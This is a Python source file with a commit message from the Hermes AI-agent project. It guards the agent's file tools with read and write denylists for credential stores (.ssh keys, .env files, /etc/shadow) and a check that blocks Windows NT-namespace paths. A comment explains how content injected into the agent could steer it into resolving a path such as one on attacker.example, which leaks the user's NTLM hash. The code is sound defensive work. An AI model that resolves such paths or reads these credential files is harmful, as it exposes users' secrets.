Files
hermes-agent/agent/file_safety.py
T
teknium1 bc3df8a4d5 fix: NT-namespace guard fires before every sibling resolve (checkpoint, ACP bridge, @file:)
Three paths still resolved the raw model/remote-supplied string before the
guard could refuse it, so on Windows the NTLM-leak trigger (resolving the
path) ran anyway: the file-checkpoint helper stats write_file/patch targets
before the tool executes; the ACP file bridge resolves fs/read_text_file and
fs/write_text_file paths before its read/write denylists; and @file:/@folder:
references resolve their target before the reference allow-check. Each now
checks the raw string first and refuses. The GLOBALROOT form now requires
its path separator so a GLOBALROOT-prefixed local name is not misclassified.

The rationale comment names the vector instead of another product's
changelog, and the security docs say the row is enforced on reads as well
as writes, since it sits under the write-guard table.
2026-09-15 04:17:31 -07:00

537 lines
24 KiB
Python

"""Shared file safety rules used by both tools and ACP shims.
Every guard here is defense-in-depth, NOT a security boundary: the terminal
tool runs as the same OS user and can read/write anything. The value is a
clear denial for models that respect tool errors plus a visible audit trail.
"""
from __future__ import annotations
import os
from pathlib import Path
from contextlib import suppress
from typing import Optional
def _constants_path(getter_name: str) -> Path:
"""Call ``hermes_constants.<getter_name>()`` (local import avoids cycles); ``~/.hermes`` on any failure."""
try:
import hermes_constants
return getattr(hermes_constants, getter_name)()
except Exception:
return Path(os.path.expanduser("~/.hermes"))
def _hermes_home_path() -> Path:
"""Active HERMES_HOME (profile-aware). Tests monkeypatch this name."""
return _constants_path("get_hermes_home")
def _hermes_root_path() -> Path:
"""Hermes root dir (parent of any profile, never per-profile)."""
return _constants_path("get_default_hermes_root")
def _hermes_dirs() -> list[Path]:
"""Resolved active HERMES_HOME and global root, deduplicated.
Both are checked so credential stores at <root>/... stay guarded when
running under a profile (HERMES_HOME = <root>/profiles/<name>).
"""
return list(dict.fromkeys(_resolve_each((_hermes_home_path(), _hermes_root_path()))))
def _resolve_each(paths) -> list[Path]:
"""``p.resolve()`` for each path, skipping ones that fail to resolve."""
out: list[Path] = []
for p in paths:
with suppress(Exception):
out.append(p.resolve())
return out
def _is_under(resolved: str | Path, base: str | Path) -> bool:
"""True when ``resolved`` equals ``base`` or lies below it (both already resolved);
``Path`` inputs use ``relative_to`` (platform semantics), ``str`` a realpath prefix test."""
if isinstance(resolved, Path):
try:
return resolved.relative_to(base) is not None
except ValueError:
return False
return resolved == base or resolved.startswith(str(base) + os.sep)
def _resolve_target(path: str) -> Optional[Path]:
"""``Path(expanduser(path)).resolve()``, or None when resolution fails."""
with suppress(OSError, RuntimeError):
return Path(os.path.expanduser(str(path))).resolve()
return None
def _home_and_resolved(path: str) -> tuple[str, str]:
"""``(realpath(~), realpath(expanduser(path)))`` — the write-guard coordinate pair."""
return tuple(os.path.realpath(os.path.expanduser(p)) for p in ("~", str(path)))
# ---------------------------------------------------------------------------
# Windows NT-namespace path guard
#
# Pre-approval file accesses reject Windows NT-namespace (``\??\``) paths so
# the remaining unguarded path touches cannot be turned into an NTLM
# credential leak.
#
# The vector: on Windows, merely *resolving or touching* a path such as
# ``\\??\\UNC\\attacker.example\\share\\x`` (or the ``\\\\?\\UNC\\`` /
# ``GLOBALROOT`` re-entry forms) makes the OS initiate SMB authentication to
# the remote host, leaking the user's NTLM hash — even when the read itself
# fails or would later be denied. NT object-namespace paths also bypass
# normal Win32 path normalization, which lets them dodge deny-prefix checks
# built on ``realpath()`` string comparison. A model tricked by injected
# content into "reading" such a path leaks credentials before any denylist
# built on resolved paths can fire.
#
# Consequently this check MUST run on the *raw* path string before any
# ``Path.resolve()`` / ``os.path.realpath()`` call, and it does — it is the
# first check in both :func:`get_read_block_error` and the write-denial
# classifier.
#
# Scope (deliberately narrow to avoid false positives):
# * ``\\??\\...`` — NT object-namespace paths. Never legitimate
# tool input on any platform.
# * ``\\\\.\\...`` — Win32 device namespace (``\\\\.\\pipe\\``,
# ``\\\\.\\PhysicalDrive0``, ...). Not a file
# read/write target for agent tools.
# * ``\\\\?\\UNC\\...`` — extended-length UNC form (remote host).
# * ``\\\\?\\GLOBALROOT...`` — re-entry into the NT namespace.
#
# Plain drive-letter extended-length paths (``\\\\?\\C:\\...``) stay ALLOWED:
# they are a routine local form (see hermes_cli/windows_ssh_runtime.py) and
# carry no remote-auth trigger. Plain UNC shares (``\\\\server\\share``) are
# also unchanged here — blocking ordinary UNC reads is a policy question,
# not part of this namespace-bypass guard.
#
# The guard runs on every platform: these prefixes are never legitimate
# inputs on POSIX either, and path strings can be relayed toward Windows
# hosts (remote terminal backends, desktop bridges).
# ---------------------------------------------------------------------------
def is_nt_namespace_path(path: str) -> bool:
"""Return True if ``path`` is a Windows NT-/device-namespace path.
Checks the raw string only — never resolves the path (resolving is the
credential-leak trigger this guard exists to prevent).
"""
s = str(path).replace("/", "\\")
if s.startswith("\\??\\"):
return True
if s.startswith("\\\\.\\"):
return True
if s.startswith("\\\\?\\"):
rest = s[4:]
upper = rest.upper()
if upper.startswith("UNC\\") or upper.startswith("GLOBALROOT\\"):
return True
return False
def get_nt_namespace_error(path: str, *, verb: str = "Access") -> Optional[str]:
"""Return an error message when ``path`` uses the NT/device namespace."""
if not is_nt_namespace_path(path):
return None
return (
f"{verb} denied: '{path}' uses a Windows NT/device namespace prefix "
"(\\??\\, \\\\.\\, \\\\?\\UNC\\, or GLOBALROOT). These paths bypass "
"normal path normalization and can trigger outbound SMB "
"authentication (NTLM credential leak) merely by being resolved. "
"Use a normal absolute path instead."
)
def build_write_denied_paths(home: str) -> set[str]:
"""Return exact sensitive paths that must never be written."""
# ``~/.ssh/config`` is deliberately NOT hard-denied: no key bytes, and editing
# it is routine. It can carry ProxyCommand / Match exec, so it goes through the
# approval gate instead (build_write_approval_paths).
home_files = (
(".ssh", "authorized_keys"), (".ssh", "id_rsa"), (".ssh", "id_ed25519"),
(".netrc",), (".pgpass",), (".npmrc",), (".pypirc",), (".git-credentials",),
)
# Both the active-profile and top-level copies: overwriting the root .env leaks
# credentials across every profile that inherits from it; the root Anthropic
# PKCE store is still read by default/non-profile sessions when a profile is
# active; bws_cache.enc.json is the Bitwarden Secrets Manager encrypted cache.
hermes_files = (".env", ".anthropic_oauth.json", os.path.join("cache", "bws_cache.enc.json"))
paths = [
*(os.path.join(home, *f) for f in home_files),
*(str(base / f) for f in hermes_files for base in (_hermes_home_path(), _hermes_root_path())),
"/etc/sudoers", "/etc/passwd", "/etc/shadow",
]
return {os.path.realpath(p) for p in paths}
def build_write_denied_prefixes(home: str) -> list[str]:
"""Return sensitive directory prefixes that must never be written."""
paths = [
*(os.path.join(home, d) for d in (".ssh", ".aws", ".gnupg", ".kube")),
"/etc/sudoers.d", "/etc/systemd",
*(os.path.join(home, *d) for d in ((".docker",), (".azure",), (".config", "gh"), (".config", "gcloud"))),
]
return [os.path.realpath(p) + os.sep for p in paths]
def get_safe_write_roots() -> set[str]:
"""Resolved HERMES_WRITE_SAFE_ROOT paths (``os.pathsep``-separated list)."""
roots: set[str] = set()
for path in filter(None, os.getenv("HERMES_WRITE_SAFE_ROOT", "").split(os.pathsep)):
with suppress(OSError, ValueError):
roots.add(os.path.realpath(os.path.expanduser(path)))
return roots
def build_write_approval_paths(home: str) -> set[str]:
"""Paths that need human APPROVAL to write but are not hard-denied credentials.
``~/.ssh/config`` is routine to edit and holds no key bytes, but can carry
``ProxyCommand`` / ``Match exec``. Interactive file tools prompt
(approve-once/session/always, like the terminal tool's ``~/.ssh`` gate);
non-interactive callers (ACP shims, background jobs) fail closed.
"""
return {os.path.realpath(os.path.join(home, ".ssh", "config"))}
# HERMES_HOME / root subpaths that the agent's generic file tools must not
# rewrite. Session transcripts (state.db, sessions/) are application-owned
# state whose rewrite can falsify history and break resume/compression;
# mcp-tokens/ and pairing/ hold credential material.
_HERMES_PROTECTED_SUBPATHS = ("state.db", "sessions", "mcp-tokens", "pairing")
def _classify_write_denial(path: str) -> Optional[str]:
"""Return ``'credential'``, ``'safe_root'``, ``'nt_namespace'``, or ``None`` if writes are allowed."""
# NT/device-namespace check runs on the RAW string, before realpath():
# resolving such a path is itself the NTLM-leak trigger, and namespace
# prefixes defeat string-prefix denylist comparison after normalization.
if is_nt_namespace_path(path):
return "nt_namespace"
home, resolved = _home_and_resolved(path)
# Approval-gated paths are allowed at this layer so interactive tools can
# prompt; checked first so the ``.ssh/`` prefix deny doesn't swallow them.
if resolved in build_write_approval_paths(home):
return None
if resolved in build_write_denied_paths(home) or any(
resolved.startswith(prefix) for prefix in build_write_denied_prefixes(home)
):
return "credential"
for base in _hermes_dirs():
for sub in _HERMES_PROTECTED_SUBPATHS:
with suppress(Exception):
if _is_under(resolved, os.path.realpath(os.path.join(str(base), sub))):
return "credential"
safe_roots = get_safe_write_roots()
if safe_roots and not any(_is_under(resolved, root) for root in safe_roots):
return "safe_root"
return None
def is_write_denied(path: str) -> bool:
"""Return True if path is blocked by the write denylist or safe root."""
return _classify_write_denial(path) is not None
def get_write_denied_error(path: str, *, verb: str = "Write") -> Optional[str]:
"""Return a user/model-facing error when writes to ``path`` are blocked."""
denial = _classify_write_denial(path)
if denial == "safe_root":
roots_display = os.pathsep.join(sorted(get_safe_write_roots()))
return (
f"{verb} denied: '{path}' is outside HERMES_WRITE_SAFE_ROOT "
f"({roots_display}). Unset the variable or add this path's directory prefix."
)
if denial == "nt_namespace":
return get_nt_namespace_error(path, verb=verb)
return f"{verb} denied: '{path}' is a protected system/credential file." if denial else None
def is_write_approval_required(path: str) -> bool:
"""True if ``path`` is approval-gated (``~/.ssh/config``): interactive callers
prompt, callers without a channel treat it as a block (fail closed)."""
home, resolved = _home_and_resolved(path)
return resolved in build_write_approval_paths(home)
# Secret-bearing project-local env file basenames, blocked anywhere on disk.
_BLOCKED_PROJECT_ENV_BASENAMES: set[str] = {
".env", ".env.local", ".env.development", ".env.production", ".env.test", ".env.staging", ".envrc",
}
_DID_SUFFIX = (
" (Defense-in-depth — not a security boundary; the terminal tool can still bypass.)"
)
# Exact-file credential stores under HERMES_HOME / <root>. The agent never
# needs these directly — provider tools consume them through internal channels.
# bws_cache.json is the Bitwarden Secrets Manager disk cache: plaintext secret values.
_CREDENTIAL_FILE_NAMES = (
"auth.json", "auth.lock", ".anthropic_oauth.json", ".env", "webhook_subscriptions.json",
os.path.join("auth", "google_oauth.json"), os.path.join("cache", "bws_cache.json"),
)
# Directory-prefix read denies under HERMES_HOME / <root>: (subdir, message for
# the directory itself, message for a file inside). browser-profile/ is a copy
# of the user's Cookies / Login Data — the same credential class as auth.json.
_READ_DENIED_DIRS = (
("mcp-tokens",
"is the Hermes MCP token directory and cannot be read directly.",
"is a Hermes MCP token file and cannot be read directly."),
("browser-profile",
"is the Hermes real-profile browser snapshot directory (copied cookies/logins) and cannot be read directly.",
"is inside the Hermes real-profile browser snapshot (copied cookies/logins) and cannot be read directly."),
# vault.key + vault.json.enc sit side by side; key + ciphertext = plaintext, so the whole dir is one credential.
("vault",
"is the Hermes credential vault directory and cannot be read directly (secrets are filled server-side by browser_vault_fill).",
"is inside the Hermes credential vault (encrypted secrets + local key) and cannot be read directly (browser_vault_fill resolves them server-side)."),
)
def get_read_block_error(path: str) -> Optional[str]:
"""Return an error message when a read targets a denied Hermes path.
Blocked: internal skill-hub caches (prompt-injection carriers), credential
stores under HERMES_HOME and the global root (exact files, plus anything
under ``mcp-tokens/`` and ``browser-profile/``), and project-local ``.env``
files anywhere on disk (``.env.example`` is the documented-shape substitute).
Callers that resolve relative paths against a non-process cwd (e.g.
``TERMINAL_CWD``) MUST pass an absolute path: ``resolve()`` here anchors at
the process cwd, so a relative ``"auth.json"`` would miss the denylist.
"""
# NT/device-namespace check runs on the RAW string, before resolve():
# on Windows, resolving \??\UNC\host\share (or \\?\UNC\, GLOBALROOT)
# already triggers outbound SMB auth — the NTLM leak happens before any
# resolved-path denylist could fire. Namespace prefixes also bypass
# normal path normalization, defeating prefix-comparison denylists.
nt_error = get_nt_namespace_error(path, verb="Read")
if nt_error:
return nt_error
resolved = Path(path).expanduser().resolve()
hermes_dirs = _hermes_dirs()
reason = None
if any(_is_under(resolved, hd / "skills" / ".hub") for hd in hermes_dirs):
reason = (
"is an internal Hermes cache file and cannot be read directly to prevent "
"prompt injection. Use the skills_list or skill_view tools instead."
)
elif any(resolved in _resolve_each(hd / name for hd in hermes_dirs) for name in _CREDENTIAL_FILE_NAMES):
reason = (
"is a Hermes credential store and cannot be read directly. Provider tools "
"consume these credentials through internal channels." + _DID_SUFFIX
)
else:
for subdir, dir_msg, file_msg in _READ_DENIED_DIRS:
for blocked_dir in _resolve_each(hd / subdir for hd in hermes_dirs):
if _is_under(resolved, blocked_dir):
reason = (dir_msg if resolved == blocked_dir else file_msg) + _DID_SUFFIX
break
if reason:
break
if reason is None and resolved.name.lower() in _BLOCKED_PROJECT_ENV_BASENAMES:
reason = (
"is a secret-bearing environment file and cannot be read to prevent credential "
"leakage. If you need to check the file structure, read .env.example instead." + _DID_SUFFIX
)
return f"Access denied: {path} {reason}" if reason else None
def raise_if_read_blocked(path: str) -> None:
"""Raise ``ValueError`` if ``path`` is a denied Hermes read (see ``get_read_block_error``).
Shared chokepoint for provider input-loading sites (e.g. image-gen local
paths). Best-effort: unexpected internal errors no-op rather than break
local-file loading; a real block still propagates.
"""
try:
blocked = get_read_block_error(path)
except Exception: # noqa: BLE001 - guard must never break local-file loading
return
if blocked:
raise ValueError(blocked)
def _resolve_active_profile_name() -> str:
"""Active profile name from HERMES_HOME: ``~/.hermes`` -> ``"default"``,
``~/.hermes/profiles/X`` -> ``"X"``; ``"default"`` on any resolution failure."""
try:
parts = _hermes_home_path().resolve().relative_to(_hermes_root_path().resolve() / "profiles").parts
except (OSError, RuntimeError, ValueError):
return "default"
return parts[0] if parts else "default"
# --- Sandbox-mirror write guard ---
# Non-local terminal backends bind a sandbox-local dir to the container's $HOME:
# <HERMES_HOME>/profiles/<name>/sandboxes/<backend>/<task>/home/.hermes/...
# A host-side write there lands on a mirror the host never reads: silent success,
# divergent copies. Path-shape-only detection, independent of the active profile;
# the inner-container case (bind mount strips the prefix) is classify_container_mirror_target.
_SANDBOX_MIRROR_WARNING = (
"Sandbox-mirror write blocked by soft guard: {target_path} "
"sits under {mirror_root!r}, which is {body} "
"Use the host-side tool for authoritative state (e.g. ``memory`` for memories), "
"or address the host path directly. To bypass {bypass} with ``cross_profile=True``. "
"(Defense-in-depth — not a security boundary; the terminal tool can still bypass.)"
)
def _mirror_info(target: Path, mirror_root: Path, inner_path: str) -> dict:
"""Common ``classify_*_mirror_target`` result shape."""
return {"target_path": str(target), "mirror_root": str(mirror_root), "inner_path": inner_path}
def classify_sandbox_mirror_target(path: str) -> Optional[dict]:
"""Classify a write target as a sandbox-mirror of authoritative Hermes state: ``None``
for non-mirror paths, else ``target_path`` (resolved), ``mirror_root`` (the
``…/home/.hermes`` prefix) and ``inner_path`` (what the agent meant on the host)."""
target = _resolve_target(path)
parts = target.parts if target is not None else ()
# Need at least: sandboxes / <backend> / <task> / home / .hermes / <thing>; inner_idx = the .hermes part.
inner_idx = next(
(i + 4 for i, part in enumerate(parts)
if part == "sandboxes" and i + 5 < len(parts) and parts[i + 3] == "home" and parts[i + 4] == ".hermes"),
None,
)
if inner_idx is None:
return None
inner = str(Path(*parts[inner_idx + 1:])) if inner_idx + 1 < len(parts) else ""
return _mirror_info(target, Path(*parts[: inner_idx + 1]), inner)
def _mirror_warning(info: Optional[dict], body: str, bypass: str) -> Optional[str]:
"""Render ``_SANDBOX_MIRROR_WARNING`` for a classify_* result (``body`` may use ``{inner_path}``)."""
if info is None:
return None
return _SANDBOX_MIRROR_WARNING.format(**info, body=body.format(inner_path=info["inner_path"]), bypass=bypass)
def get_sandbox_mirror_warning(path: str) -> Optional[str]:
"""Model-facing soft-guard warning when ``path`` lands in a sandbox mirror, else ``None``;
the caller surfaces it as a tool-result error and ``cross_profile=True`` bypasses."""
return _mirror_warning(
classify_sandbox_mirror_target(path),
"a per-task mirror created by a non-local terminal backend (docker/daytona/etc.). "
"Writes here land on a copy that the host Hermes process never reads — the "
"authoritative file is likely {inner_path!r} under the real HERMES_HOME.",
"this guard after explicit user direction, retry the call",
)
def classify_container_mirror_target(path: str, mirror_prefix: str | None = None) -> Optional[dict]:
"""Classify a write target as a container-side sandbox mirror. Inside the container
the bind mount strips the ``sandboxes/`` prefix (the agent sees plain ``/root/.hermes/…``),
so the caller supplies ``mirror_prefix`` once it knows file tools run in a docker sandbox.
``None`` without a prefix or outside it, else ``target_path``/``mirror_root``/``inner_path``."""
target, mirror = _resolve_target(path), _resolve_target(mirror_prefix) if mirror_prefix else None
if target is None or mirror is None or not _is_under(target, mirror):
return None
return _mirror_info(target, mirror, target.relative_to(mirror).as_posix())
def get_container_mirror_warning(path: str, mirror_prefix: str | None = None) -> Optional[str]:
"""Model-facing soft-guard warning when ``path`` lands in the container's mirror, else ``None``."""
return _mirror_warning(
classify_container_mirror_target(path, mirror_prefix),
"the container's bind-mounted home — a per-task mirror that the host Hermes "
"process never reads. The authoritative file is {inner_path!r} under "
"the real HERMES_HOME.",
"after explicit user direction, retry",
)
# ---- BEGIN PLUGIN-COMPAT (revert-scheduled; see COMPAT_MANIFEST.md) ----
# Names external plugins imported from this module before the Sep 2026 decomposition.
# Internal code MUST NOT use these (scripts/check_compat_pointers.py fails CI if it does).
# The whole block is removed by reverting the commit that added it.
PROFILE_SCOPED_AREAS = ("skills", "plugins", "cron", "memories")
def classify_cross_profile_target(path: str) -> Optional[dict]:
"""Classify a write target as cross-profile if it lands in another
profile's scoped area (skills/plugins/cron/memories).
Returns ``None`` when the target is outside Hermes scope, or is inside
the ACTIVE profile, or doesn't hit a profile-scoped area. Otherwise
returns a dict with:
* ``active_profile``: name of the profile the agent is running as
* ``target_profile``: name of the profile the path belongs to
* ``area``: which scoped area (``"skills"``, ``"plugins"``, etc.)
* ``target_path``: the resolved path string
The caller decides what to do with the result — surface a warning to
the model, prompt the user, or (with explicit consent /
``cross_profile=True``) proceed anyway.
"""
try:
target = Path(os.path.expanduser(str(path))).resolve()
root_real = _hermes_root_path().resolve()
except (OSError, RuntimeError):
return None
target_profile: Optional[str] = None
area: Optional[str] = None
try:
rel = target.relative_to(root_real)
except ValueError:
return None
parts = rel.parts
if not parts:
return None
if parts[0] in PROFILE_SCOPED_AREAS:
# ``<root>/<area>/...`` → default profile.
target_profile = "default"
area = parts[0]
elif (
parts[0] == "profiles"
and len(parts) >= 3
and parts[2] in PROFILE_SCOPED_AREAS
):
# ``<root>/profiles/<name>/<area>/...`` → named profile.
target_profile = parts[1]
area = parts[2]
else:
return None
active_profile = _resolve_active_profile_name()
if target_profile == active_profile:
# In-profile write — not a cross-profile event.
return None
return {
"active_profile": active_profile,
"target_profile": target_profile,
"area": area,
"target_path": str(target),
}
def get_cross_profile_warning(path: str) -> Optional[str]:
"""RETIRED (maintainer decision): always returns ``None``.
The cross-profile write guard was removed — profiles were never
isolated (same OS user; the terminal tool writes anywhere), so the
block was ceremony that cost every schema real tokens and taught a
bypass arg. The system prompt's active-profile hint remains the only
steering; the classifier below survives for that hint and for
diagnostics. Kept as a stub so external callers/plugins fail soft.
"""
return None
# ---- END PLUGIN-COMPAT ----